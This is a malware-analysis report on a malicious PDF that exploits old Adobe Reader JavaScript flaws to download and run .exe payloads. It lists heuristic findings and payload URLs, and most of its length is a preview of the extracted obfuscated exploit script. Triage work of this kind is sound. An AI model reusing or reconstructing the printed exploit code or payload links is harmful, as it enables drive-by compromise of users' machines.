MALICIOUS
592
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 JavaScript
T1204.002 Malicious Link
The PDF file contains embedded JavaScript that leverages multiple critical vulnerabilities in Adobe Reader, specifically CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The deobfuscated JavaScript, found in 'legacy_pdfkit_stage_000.js', is designed to download and execute a second-stage payload. This indicates a drive-by download attack pattern aimed at compromising the user's system.
Machine Learning
- Nyx PDF Classifier malicious score 0.9999
Heuristics 14
-
Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
-
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
-
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
-
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCHA single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
-
ClamAV: Pdf.Exploit.Agent-36110 critical CLAMAV_DETECTIONClamAV detected this file as malware: Pdf.Exploit.Agent-36110
-
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KITOne recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
-
JavaScript action low 3 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
PDF JavaScript rebuilds a builtin via replace() to run a char-code array critical PDF_JS_REPLACE_OBFUSCATED_CHARCODE_BUILDERDecoded PDF JavaScript resolves a String builtin from a junked literal — e.g. String['eQvoaol3'.replace(/[3oQS5]/g,'')] yielding fromCharCode/eval — and feeds a large numeric char-code array through it to rebuild and execute the next stage. Dynamically reconstructing a builtin name by stripping junk characters has no benign purpose; paired with the char-code payload array it is an unambiguous obfuscated-JavaScript exploit dropper.
-
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URLDecoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
-
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEXHex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
-
PDF differential parser failed info PDF_DIFFERENTIAL_PARSE_FAILEDThe cross-check parser (pdfminer.six) failed on this file: PDF differential parser failed: PSSyntaxError. Static heuristics still ran and any of their findings above are valid; only the differential cross-check signal is missing.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://mirroronerofive.com/sleep/cdmnqt2.exe Referenced by PDF JavaScript
- http://mirroronerofive.com/sleep/click.php?r=Referenced by PDF JavaScript
- http://mirroronerofive.com/sleep/amorvy2.exeReferenced by PDF JavaScript
- http://mirroronerofive.com/sleep/acdkuy2.exeReferenced by PDF JavaScript
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0007_000.js |
pdf-javascript-stream | PDF /JS object 7 at offset 0x1A5 | 38994 bytes |
SHA-256: f109c56ee54ece5af29e96f57af5663de84901192e04a892784019c953312a45 |
|||
Preview scriptFirst 1,000 lines of the extracted script
var enpry=false;aijnpx="";jlmpqv='';glmowy="";hrwx='';mezvw=false;emnprx="";cdru="cdru";defmqs=true;cdlwy=true;dluw=true;dfhn='';var znqh=52668,cdrxy="",celowx=true,ahity="ahity",derv=0,pszg=String,hjst=pszg['fRrEoEmTCThEaErECIoTdRe9'.replace(/[9IETR]/g,'')],zsdw=String,zgslov=zsdw['env4anln'.replace(/[nJ4XV]/g,'')],ghiovw="97",himqxy="",aglw=[70,65,66,157,174,165,156,171,162,166,167,87,159,160,177,150,162,171,97,176,154,169,172,167,101,87,165,156,167,96,180,68,67,64,66,174,161,160,165,156,89,95,178,152,171,170,169,101,165,156,167,158,173,159,89,97,89,105,89,115,89,163,158,165,98,178,70,65,66,64,66,176,154,169,172,167,89,98,118,87,178,152,171,170,169,114,70,65,66,64,182,68,67,64,66,176,154,169,172,167,89,116,89,176,154,169,172,167,103,170,174,153,172,171,171,160,167,158,97,103,101,87,165,156,167,102,107,96,116,68,67,64,66,169,158,171,174,169,167,87,178,152,171,170,169,114,70,65,66,180,70,65,70,65,66,157,174,165,156,171,162,166,167,87,174,171,162,163,152,167,171,160,167,171,159,95,98,178,70,65,66,64,175,152,171,87,169,152,178,163,168,152,157,87,118,87,174,165,158,170,156,152,169,156,97,89,94,172,126,121,126,112,94,172,105,103,105,104,94,172,110,109,105,103,94,172,122,104,111,107,94,172,105,103,108,103,94,172,105,103,105,103,94,172,109,103,113,121,94,172,113,121,105,122,94,172,106,122,112,103,94,172,113,121,122,123,94,172,105,111,109,103,94,172,124,106,110,124,94,172,113,121,110,108,94,172,113,121,126,122,94,172,105,111,109,108,94,172,108,106,110,105,94,172,124,104,125,105,94,172,105,106,124,105,94,172,106,103,108,105,94,172,113,103,109,103,94,172,105,103,108,111,94,172,127,108,112,108,94,172,124,105,113,121,94,172,110,123,110,120,94,172,105,107,124,105,94,172,110,108,105,103,94,172,126,122,113,121,94,172,110,104,110,104,94,172,110,109,110,106,94,172,111,103,110,110,94,172,110,123,113,121,94,172,108,106,105,111,94,172,113,121,124,103,94,172,105,122,112,108,94,172,127,124,113,121,94,172,112,109,105,106,94,172,113,121,108,122,94,172,112,111,109,124,94,172,124,125,105,106,94,172,110,104,113,121,94,172,110,105,106,122,94,172,110,104,113,121,94,172,110,105,107,107,94,172,112,104,113,121,94,172,109,124,106,107,94,172,112,108,113,112,94,172,113,121,127,122,94,172,107,103,112,104,94,172,127,110,105,106,94,172,109,120,114,112,94,172,109,105,122,123,94,172,108,121,111,103,94,172,127,122,110,108,94,172,105,107,112,108,94,172,124,103,108,106,94,172,108,110,126,121,94,172,127,125,108,106,94,172,109,108,105,106,94,172,114,110,105,122,94,172,124,125,113,121,94,172,112,108,122,124,94,172,107,121,127,123,94,172,109,125,127,112,94,172,126,111,110,104,94,172,127,125,114,107,94,172,127,125,127,125,94,172,124,106,108,121,94,172,112,107,111,104,94,172,126,121,105,105,94,172,113,121,125,112,94,172,105,122,109,108,94,172,110,124,114,105,94,172,127,105,105,106,94,172,126,103,125,104,94,172,124,109,105,106,94,172,124,112,108,106,94,172,123,110,105,125,94,172,110,125,105,111,94,172,126,104,124,104,94,172,105,106,105,105,94,172,105,106,124,120,94,172,113,121,124,125,94,172,105,106,105,104,94,172,113,112,124,105,94,172,127,111,109,108,94,172,113,121,111,104,94,172,127,111,109,108,94,172,110,124,110,125,94,172,124,112,110,121,94,172,110,108,124,106,94,172,126,122,113,121,94,172,126,111,110,104,94,172,127,125,109,112,94,172,127,125,127,125,94,172,111,111,110,103,94,172,111,103,126,111,94,172,105,107,123,125,94,172,111,122,126,111,94,172,127,125,127,125,94,172,108,106,127,125,94,172,110,105,125,105,94,172,127,125,110,105,94,172,105,111,112,108,94,172,125,103,127,125,94,172,109,108,113,112,94,172,113,121,127,122,94,172,127,122,109,108,94,172,124,106,124,112,94,172,113,121,110,108,94,172,113,106,126,122,94,172,105,122,126,122,94,172,109,108,113,123,94,172,110,103,127,107,94,172,109,108,124,109,94,172,112,108,127,107,94,172,109,108,124,109,94,172,112,105,127,108,94,172,109,108,124,109,94,172,111,122,127,109,94,172,109,108,124,109,94,172,111,123,127,110,94,172,109,108,124,109,94,172,111,125,127,111,94,172,109,108,124,109,94,172,111,124,127,112,94,172,109,108,124,109,94,172,107,124,127,120,94,172,109,108,124,109,94,172,111,107,127,121,94,172,109,108,124,109,94,172,111,122,127,122,94,172,109,108,124,109,94,172,111,122,127,123,94,172,109,108,124,109,94,172,105,103,127,124,94,172,122,103,126,111,94,172,127,125,127,125,94,172,110,103,127,125,94,172,110,123,111,111,94,172,106,104,113,120,94,172,126,111,106,109,94,172,127,125,106,108,94,172,127,125,127,125,94,172,124,107,113,106,94,172,113,108,105,122,94,172,112,107,124,103,94,172,111,120,106,108,94,172,111,120,105,103,94,172,127,125,105,103,94,172,105,122,112,108,94,172,112,108,127,125,94,172,111,120,105,111,94,172,127,125,105,103,94,172,113,108,125,103,94,172,112,108,124,103,94,172,109,103,105,106,94,172,124,106,124,112,94,172,124,103,108,106,94,172,124,106,124,112,94,172,108,106,110,110,94,172,113,121,124,103,94,172,107,107,109,122,94,172,113,121,105,122,94,172,107,107,112,122,94,172,127,122,105,111,94,172,122,120,127,106,94,172,124,106,110,125,94,172,109,122,113,121,94,172,105,107,107,107,94,172,108,112,113,103,94,172,113,121,105,103,94,172,112,107,124,104,94,172,109,103,105,109,94,172,108,111,113,103,94,172,112,108,105,103,94,172,107,121,127,120,94,172,124,106,124,104,94,172,113,121,110,108,94,172,113,106,126,122,94,172,111,107,126,122,94,172,113,123,110,106,94,172,127,103,109,108,94,172,108,106,110,110,94,172,110,103,125,121,94,172,109,108,124,109,94,172,111,121,127,103,94,172,109,108,124,109,94,172,111,108,127,104,94,172,109,108,124,109,94,172,112,105,127,105,94,172,109,108,124,109,94,172,111,124,127,106,94,172,109,108,124,109,94,172,111,108,127,107,94,172,109,108,124,109,94,172,111,122,127,108,94,172,109,108,124,109,94,172,108,106,127,109,94,172,109,108,124,109,94,172,108,105,127,110,94,172,109,108,124,109,94,172,107,124,127,111,94,172,109,108,124,109,94,172,111,107,127,112,94,172,109,108,124,109,94,172,111,122,127,120,94,172,109,108,124,109,94,172,111,122,127,121,94,172,110,123,113,111,94,172,126,111,127,122,94,172,127,125,105,121,94,172,127,125,127,125,94,172,111,111,110,103,94,172,109,106,111,111,94,172,113,124,127,112,94,172,113,103,126,111,94,172,127,125,127,124,94,172,113,121,127,125,94,172,113,123,127,111,94,172,114,122,109,108,94,172,109,107,111,120,94,172,126,111,110,103,94,172,127,125,112,124,94,172,127,125,127,125,94,172,109,108,113,123,94,172,111,120,126,103,94,172,110,103,106,103,94,172,112,106,126,111,94,172,127,125,127,125,94,172,113,106,127,125,94,172,106,122,124,107,94,172,109,108,113,123,94,172,110,103,126,103,94,172,109,108,113,123,94,172,110,103,114,122,94,172,110,106,110,106,94,172,110,106,110,106,94,172,110,106,110,106,94,172,112,108,127,125,94,172,124,110,105,111,94,172,114,122,109,108,94,172,105,103,109,107,94,172,105,103,105,103,94,172,127,125,110,106,94,172,110,125,125,110,94,172,123,109,105,125,94,172,110,121,124,103,94,172,124,106,124,112,94,172,113,121,110,108,94,172,110,104,126,122,94,172,110,106,110,104,94,172,110,110,110,109,94,172,109,105,111,120,94,172,112,105,126,111,94,172,105,103,105,103,94,172,113,121,105,103,94,172,108,106,125,111,94,172,113,108,127,109,94,172,110,112,125,121,94,172,109,108,124,110,94,172,111,104,127,111,94,172,111,108,107,124,94,172,124,110,112,111,94,172,127,122,109,108,94,172,105,103,111,108,94,172,105,103,105,103,94,172,110,109,112,124,94,172,109,108,113,123,94,172,110,103,127,111,94,172,126,111,110,109,94,172,105,103,110,104,94,172,105,103,105,103,94,172,110,103,110,112,94,172,123,104,126,111,94,172,127,125,127,124,94,172,113,108,127,125,94,172,110,112,124,103,94,172,112,107,110,112,94,172,113,123,108,112,94,172,105,104,109,109,94,172,126,111,110,103,94,172,105,103,108,121,94,172,105,103,105,103,94,172,127,111,113,121,94,172,109,108,113,123,94,172,110,103,127,111,94,172,107,104,126,111,94,172,127,125,127,125,94,172,113,108,127,125,94,172,110,112,124,103,94,172,112,107,110,112,94,172,110,110,105,122,94,172,105,104,126,111,94,172,127,125,127,125,94,172,110,112,127,125,94,172,109,107,124,109,94,172,127,125,108,111,94,172,110,103,112,106,94,172,109,108,113,123,94,172,127,124,127,111,94,172,110,111,105,103,94,172,109,108,113,123,94,172,110,103,127,111,94,172,126,111,110,110,94,172,127,124,112,107,94,172,127,125,127,125,94,172,110,112,110,112,94,172,109,109,109,109,94,172,127,106,108,121,94,172,122,120,112,122,94,172,110,124,110,125,94,172,124,112,110,121,94,172,110,108,124,106,94,172,126,122,113,121,94,172,110,106,110,104,94,172,111,103,111,109,94,172,108,105,123,104,94,172,105,103,126,111,94,172,105,103,105,103,94,172,110,111,105,103,94,172,105,111,108,111,94,172,105,106,112,107,94,172,126,121,109,103,94,172,109,103,127,112,94,172,110,123,113,121,94,172,113,103,105,111,94,172,109,105,127,121,94,172,105,111,112,108,94,172,125,121,108,106,94,172,106,111,113,120,94,172,124,106,113,121,94,172,106,110,126,121,94,172,106,111,108,111,94,172,106,104,112,109,94,172,108,106,109,103,94,172,113,107,124,112,94,172,112,107,125,121,94,172,109,103,105,122,94,172,105,111,108,111,94,172,127,121,112,108,94,172,127,124,109,103,94,172,126,121,124,121,94,172,108,106,127,105,94,172,113,112,124,103,94,172,127,122,109,108,94,172,109,108,113,121,94,172,110,121,127,122,94,172,124,106,124,112,94,172,105,105,108,105,94,172,112,107,111,111,94,172,112,103,112,107,94,172,107,125,108,120,94,172,111,123,107,125,94,172,112,105,111,112,94,172,111,125,112,105,94,172,111,125,112,105,94,172,111,108,111,124,94,172,111,125,112,105,94,172,111,112,111,109,94,172,111,108,112,109,94,172,111,106,107,124,94,172,111,123,111,125,94,172,112,106,107,125,94,172,111,108,111,122,94,172,112,103,111,108,94,172,111,106,107,125,94,172,111,123,111,107,94,172,112,104,111,124,94,172,108,105,112,107,94,172,111,108,107,124,94,172,111,108,112,111,94,172,111,111,105,103,94,172,112,107,112,107,94,172,108,120,112,103,94,172,107,125,107,125,94,172,111,112,111,123,94,172,112,105,112,105,94,172,112,105,111,125,94,172,111,124,111,125,94,172,112,105,111,108,94,172,111,109,111,125,94,172,112,109,111,112,94,172,107,124,111,108,94,172,111,125,111,106,94,172,107,125,111,123,94,172,111,122,112,106,94,172,111,108,111,108,94,172,107,125,112,103,94,172,111,122,111,106,94,172,111,106,111,112,94,172,107,124,111,121,94,172,111,111,112,103,94,172,108,125,112,103,94,172,108,123,112,105,94,172,105,103,105,103,91,96,116,68,67,64,66,173,154,169,89,165,168,167,89,116,89,172,167,156,172,154,154,167,158,95,91,92,174,103,122,103,122,92,174,103,122,103,122,92,174,103,122,103,122,92,174,103,122,103,122,89,98,68,67,64,66,173,154,169,89,159,158,152,169,153,165,166,156,162,89,116,89,165,168,167,89,98,89,167,154,176,165,166,154,155,116,68,67,64,66,173,154,169,89,153,162,158,155,163,168,154,164,87,118,87,174,165,158,170,156,152,169,156,97,89,94,172,105,120,105,120,94,172,105,120,105,120,91,96,116,68,67,64,66,173,154,169,89,159,158,152,157,156,171,170,162,177,158,87,118,87,107,103,116,68,67,64,66,173,154,169,89,170,169,169,154,176,89,116,89,159,158,152,157,156,171,170,162,177,158,87,100,87,161,156,154,167,155,163,168,154,164,101,165,156,167,158,173,159,116,68,67,64,66,174,161,160,165,156,89,95,155,160,160,153,165,166,156,162,103,163,158,165,160,171,161,87,117,87,172,167,171,152,178,96,180,68,67,64,66,64,155,160,160,153,165,166,156,162,89,98,118,87,155,160,160,153,165,166,156,162,116,68,67,64,66,180,70,65,66,64,175,152,171,87,159,160,165,163,155,163,168,154,164,87,118,87,155,160,160,153,165,166,156,162,103,170,174,153,172,171,171,160,167,158,97,103,101,87,172,167,171,152,178,96,116,68,67,64,66,173,154,169,89,153,165,166,156,162,89,116,89,153,162,158,155,163,168,154,164,101,172,172,155,170,173,169,162,165,160,95,105,99,89,153,162,158,155,163,168,154,164,101,165,156,167,158,173,159,102,170,169,169,154,176,98,114,70,65,66,64,176,159,162,163,158,87,97,153,165,166,156,162,103,163,158,165,160,171,161,98,172,167,171,152,178,87,117,87,105,175,109,103,105,103,105,96,180,68,67,64,66,64,155,163,168,154,164,87,118,87,155,163,168,154,164,87,100,87,155,163,168,154,164,87,100,87,159,160,165,163,155,163,168,154,164,114,70,65,66,64,182,68,67,64,66,173,154,169,89,164,158,164,152,152,171,169,154,176,89,116,89,165,158,174,89,120,171,169,154,176,97,96,116,68,67,64,66,157,168,169,89,95,175,152,171,87,162,87,118,87,105,114,89,160,89,115,89,104,109,103,105,114,89,160,100,98,98,178,70,65,66,64,66,164,158,164,152,152,171,169,154,176,148,160,150,87,118,87,155,163,168,154,164,87,100,87,161,156,154,167,155,163,168,154,164,114,70,65,66,64,182,68,67,64,66,173,154,169,89,165,174,164,89,116,89,104,107,112,114,112,114,112,114,112,114,112,114,112,114,112,114,112,114,112,114,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,114,70,65,66,64,174,171,162,163,103,167,171,160,167,171,159,95,91,92,109,108,105,103,105,157,91,99,89,165,174,164,98,114,70,65,66,180,70,65,70,65,66,157,174,165,156,171,162,166,167,87,156,166,165,163,154,153,152,156,166,152,162,163,97,96,180,68,67,64,66,173,154,169,89,170,161,156,165,163,156,166,157,156,89,116,89,172,167,156,172,154,154,167,158,95,91,92,174,124,123,124,114,92,174,103,105,103,106,92,174,108,111,103,105,92,174,120,106,109,109,92,174,103,105,106,105,92,174,103,105,103,105,92,174,107,105,111,123,92,174,111,123,103,124,92,174,104,124,110,105,92,174,111,123,120,125,92,174,103,113,107,105,92,174,122,108,108,126,92,174,111,123,108,110,92,174,111,123,124,124,92,174,103,113,107,110,92,174,106,108,108,107,92,174,122,106,123,107,92,174,103,108,122,107,92,174,104,105,106,107,92,174,111,105,107,105,92,174,103,105,106,113,92,174,125,110,110,110,92,174,122,107,111,123,92,174,108,125,108,122,92,174,103,109,122,107,92,174,108,110,103,105,92,174,124,124,111,123,92,174,108,106,108,106,92,174,108,111,108,108,92,174,109,105,108,112,92,174,108,125,111,123,92,174,106,108,103,113,92,174,111,123,122,105,92,174,103,124,110,110,92,174,125,126,111,123,92,174,110,111,103,108,92,174,111,123,106,124,92,174,110,113,107,126,92,174,122,127,103,108,92,174,108,106,111,123,92,174,108,107,104,124,92,174,108,106,111,123,92,174,108,107,105,109,92,174,110,106,111,123,92,174,107,126,104,109,92,174,110,110,111,114,92,174,111,123,125,124,92,174,105,105,110,106,92,174,125,112,103,108,92,174,107,122,112,114,92,174,107,107,120,125,92,174,106,123,109,105,92,174,125,124,108,110,92,174,103,109,110,110,92,174,122,105,106,108,92,174,106,112,124,123,92,174,125,127,106,108,92,174,107,110,103,108,92,174,112,112,103,124,92,174,122,127,111,123,92,174,110,110,120,126,92,174,105,123,125,125,92,174,107,127,125,114,92,174,124,113,108,106,92,174,125,127,112,109,92,174,125,127,125,127,92,174,122,108,106,123,92,174,110,109,109,106,92,174,124,123,103,107,92,174,111,123,123,114,92,174,103,124,107,110,92,174,108,126,112,107,92,174,125,107,103,108,92,174,124,105,123,106,92,174,122,111,103,108,92,174,122,114,106,108,92,174,121,112,103,127,92,174,108,127,103,113,92,174,124,106,122,106,92,174,103,108,103,107,92,174,103,108,122,122,92,174,111,123,122,127,92,174,103,108,103,106,92,174,111,114,122,107,92,174,125,113,107,110,92,174,111,123,109,106,92,174,125,113,107,110,92,174,108,126,108,127,92,174,122,114,108,123,92,174,108,110,122,108,92,174,124,124,111,123,92,174,124,113,108,106,92,174,125,127,107,114,92,174,125,127,125,127,92,174,109,113,108,105,92,174,109,105,124,113,92,174,103,109,121,127,92,174,109,124,124,113,92,174,125,127,125,127,92,174,106,108,125,127,92,174,108,107,123,107,92,174,125,127,108,107,92,174,103,113,110,110,92,174,123,105,125,127,92,174,107,110,111,114,92,174,111,123,125,124,92,174,125,124,107,110,92,174,122,108,122,114,92,174,111,123,108,110,92,174,111,108,124,124,92,174,103,124,124,124,92,174,107,110,111,125,92,174,108,105,125,109,92,174,107,110,122,111,92,174,110,110,125,109,92,174,107,110,122,111,92,174,110,107,125,110,92,174,107,110,122,111,92,174,109,124,125,111,92,174,107,110,122,111,92,174,109,125,125,112,92,174,107,110,122,111,92,174,109,127,125,113,92,174,107,110,122,111,92,174,109,126,125,114,92,174,107,110,122,111,92,174,105,126,125,122,92,174,107,110,122,111,92,174,109,109,125,123,92,174,107,110,122,111,92,174,109,124,125,124,92,174,107,110,122,111,92,174,109,124,125,125,92,174,107,110,122,111,92,174,103,105,125,126,92,174,120,105,124,113,92,174,125,127,125,127,92,174,108,105,125,127,92,174,108,125,109,113,92,174,104,106,111,122,92,174,124,113,104,111,92,174,125,127,104,110,92,174,125,127,125,127,92,174,122,109,111,108,92,174,111,110,103,124,92,174,110,109,122,105,92,174,109,122,104,110,92,174,109,122,103,105,92,174,125,127,103,105,92,174,103,124,110,110,92,174,110,110,125,127,92,174,109,122,103,113,92,174,125,127,103,105,92,174,111,110,123,105,92,174,110,110,122,105,92,174,107,105,103,108,92,174,122,108,122,114,92,174,122,105,106,108,92,174,122,108,122,114,92,174,106,108,108,112,92,174,111,123,122,105,92,174,105,109,107,124,92,174,111,123,103,124,92,174,105,109,110,124,92,174,125,124,103,113,92,174,120,122,125,108,92,174,122,108,108,127,92,174,107,124,111,123,92,174,103,109,105,109,92,174,106,114,111,105,92,174,111,123,103,105,92,174,110,109,122,106,92,174,107,105,103,111,92,174,106,113,111,105,92,174,110,110,103,105,92,174,105,123,125,122,92,174,122,108,122,106,92,174,111,123,108,110,92,174,111,108,124,124,92,174,109,109,124,124,92,174,111,125,108,108,92,174,125,105,107,110,92,174,106,108,108,112,92,174,108,105,123,123,92,174,107,110,122,111,92,174,109,123,125,105,92,174,107,110,122,111,92,174,109,110,125,106,92,174,107,110,122,111,92,174,110,107,125,107,92,174,107,110,122,111,92,174,109,126,125,108,92,174,107,110,122,111,92,174,109,110,125,109,92,174,107,110,122,111,92,174,109,124,125,110,92,174,107,110,122,111,92,174,106,108,125,111,92,174,107,110,122,111,92,174,106,107,125,112,92,174,107,110,122,111,92,174,105,126,125,113,92,174,107,110,122,111,92,174,109,109,125,114,92,174,107,110,122,111,92,174,109,124,125,122,92,174,107,110,122,111,92,174,109,124,125,123,92,174,108,125,111,113,92,174,124,113,125,124,92,174,125,127,103,123,92,174,125,127,125,127,92,174,109,113,108,105,92,174,107,108,109,113,92,174,111,126,125,114,92,174,111,105,124,113,92,174,125,127,125,126,92,174,111,123,125,127,92,174,111,125,125,113,92,174,112,124,107,110,92,174,107,109,109,122,92,174,124,113,108,105,92,174,125,127,110,126,92,174,125,127,125,127,92,174,107,110,111,125,92,174,109,122,124,105,92,174,108,105,104,105,92,174,110,108,124,113,92,174,125,127,125,127,92,174,111,108,125,127,92,174,104,124,122,109,92,174,107,110,111,125,92,174,108,105,124,105,92,174,107,110,111,125,92,174,108,105,112,124,92,174,108,108,108,108,92,174,108,108,108,108,92,174,108,108,108,108,92,174,110,110,125,127,92,174,122,112,103,113,92,174,112,124,107,110,92,174,103,105,107,109,92,174,103,105,103,105,92,174,125,127,108,108,92,174,108,127,123,112,92,174,121,111,103,127,92,174,108,123,122,105,92,174,122,108,122,114,92,174,111,123,108,110,92,174,108,106,124,124,92,174,108,108,108,106,92,174,108,112,108,111,92,174,107,107,109,122,92,174,110,107,124,113,92,174,103,105,103,105,92,174,111,123,103,105,92,174,106,108,123,113,92,174,111,110,125,111,92,174,108,114,123,123,92,174,107,110,122,112,92,174,109,106,125,113,92,174,109,110,105,126,92,174,122,112,110,113,92,174,125,124,107,110,92,174,103,105,109,110,92,174,103,105,103,105,92,174,108,111,110,126,92,174,107,110,111,125,92,174,108,105,125,113,92,174,124,113,108,111,92,174,103,105,108,106,92,174,103,105,103,105,92,174,108,105,108,114,92,174,121,106,124,113,92,174,125,127,125,126,92,174,111,110,125,127,92,174,108,114,122,105,92,174,110,109,108,114,92,174,111,125,106,114,92,174,103,106,107,111,92,174,124,113,108,105,92,174,103,105,106,123,92,174,103,105,103,105,92,174,125,113,111,123,92,174,107,110,111,125,92,174,108,105,125,113,92,174,105,106,124,113,92,174,125,127,125,127,92,174,111,110,125,127,92,174,108,114,122,105,92,174,110,109,108,114,92,174,108,112,103,124,92,174,103,106,124,113,92,174,125,127,125,127,92,174,108,114,125,127,92,174,107,109,122,111,92,174,125,127,106,113,92,174,108,105,110,108,92,174,107,110,111,125,92,174,125,126,125,113,92,174,108,113,103,105,92,174,107,110,111,125,92,174,108,105,125,113,92,174,124,113,108,112,92,174,125,126,110,109,92,174,125,127,125,127,92,174,108,114,108,114,92,174,107,111,107,111,92,174,125,108,106,123,92,174,120,122,110,124,92,174,108,126,108,127,92,174,122,114,108,123,92,174,108,110,122,108,92,174,124,124,111,123,92,174,108,108,108,106,92,174,109,105,109,111,92,174,106,107,121,106,92,174,103,105,124,113,92,174,103,105,103,105,92,174,108,113,103,105,92,174,103,113,106,113,92,174,103,108,110,109,92,174,124,123,107,105,92,174,107,105,125,114,92,174,108,125,111,123,92,174,111,105,103,113,92,174,107,107,125,123,92,174,103,113,110,110,92,174,123,123,106,108,92,174,104,113,111,122,92,174,122,108,111,123,92,174,104,112,124,123,92,174,104,113,106,113,92,174,104,106,110,111,92,174,106,108,107,105,92,174,111,109,122,114,92,174,110,109,123,123,92,174,107,105,103,124,92,174,103,113,106,113,92,174,125,123,110,110,92,174,125,126,107,105,92,174,124,123,122,123,92,174,106,108,125,107,92,174,111,114,122,105,92,174,125,124,107,110,92,174,107,110,111,123,92,174,108,123,125,124,92,174,122,108,122,114,92,174,103,107,106,107,92,174,110,109,109,113,92,174,110,105,110,109,92,174,105,127,106,122,92,174,109,125,105,127,92,174,110,107,109,114,92,174,109,127,110,107,92,174,109,127,110,107,92,174,109,110,109,126,92,174,109,127,110,107,92,174,109,114,109,111,92,174,109,110,110,111,92,174,109,108,105,126,92,174,109,125,109,127,92,174,110,108,105,127,92,174,109,110,109,124,92,174,110,105,109,110,92,174,109,106,105,127,92,174,109,127,109,125,92,174,110,111,110,107,92,174,106,107,110,114,92,174,109,110,105,126,92,174,109,110,110,113,92,174,109,113,103,105,92,174,110,109,110,109,92,174,106,122,110,105,92,174,105,127,105,127,92,174,109,114,109,125,92,174,110,107,110,107,92,174,110,107,109,127,92,174,109,126,109,127,92,174,110,107,109,110,92,174,109,111,109,127,92,174,110,111,109,114,92,174,105,126,109,110,92,174,109,127,109,108,92,174,105,127,109,125,92,174,109,124,110,108,92,174,109,110,109,110,92,174,105,127,110,105,92,174,109,124,109,108,92,174,109,108,109,114,92,174,105,126,109,123,92,174,109,113,110,105,92,174,106,127,110,105,92,174,106,125,110,107,92,174,103,105,103,105,89,98,114,70,65,66,64,175,152,171,87,166,156,166,150,154,169,171,152,178,87,118,87,167,156,176,87,122,169,171,152,178,95,98,114,70,65,66,64,175,152,171,87,156,154,89,116,89,103,177,103,156,103,156,103,156,103,156,114,70,65,66,64,175,152,171,87,154,155,157,169,89,116,89,103,177,107,105,103,105,103,105,114,70,65,66,64,175,152,171,87,172,154,152,163,158,165,89,116,89,170,161,156,165,163,156,166,157,156,103,163,158,165,160,171,161,87,99,87,107,114,70,65,66,64,175,152,171,87,165,156,167,87,118,87,154,155,157,169,89,100,89,95,172,154,152,163,158,165,100,103,177,106,113,96,116,68,67,64,66,173,154,169,89,176,154,169,172,167,89,116,89,172,167,156,172,154,154,167,158,95,91,92,174,112,105,112,105,92,174,112,105,112,105,89,98,114,70,65,66,64,178,152,171,170,169,87,118,87,159,160,177,150,162,171,97,176,154,169,172,167,101,87,165,156,167,96,116,68,67,64,66,173,154,169,89,154,168,172,167,171,107,87,118,87,97,154,156,87,102,87,105,175,109,103,105,103,105,103,98,102,154,155,157,169,116,68,67,64,66,157,168,169,89,95,175,1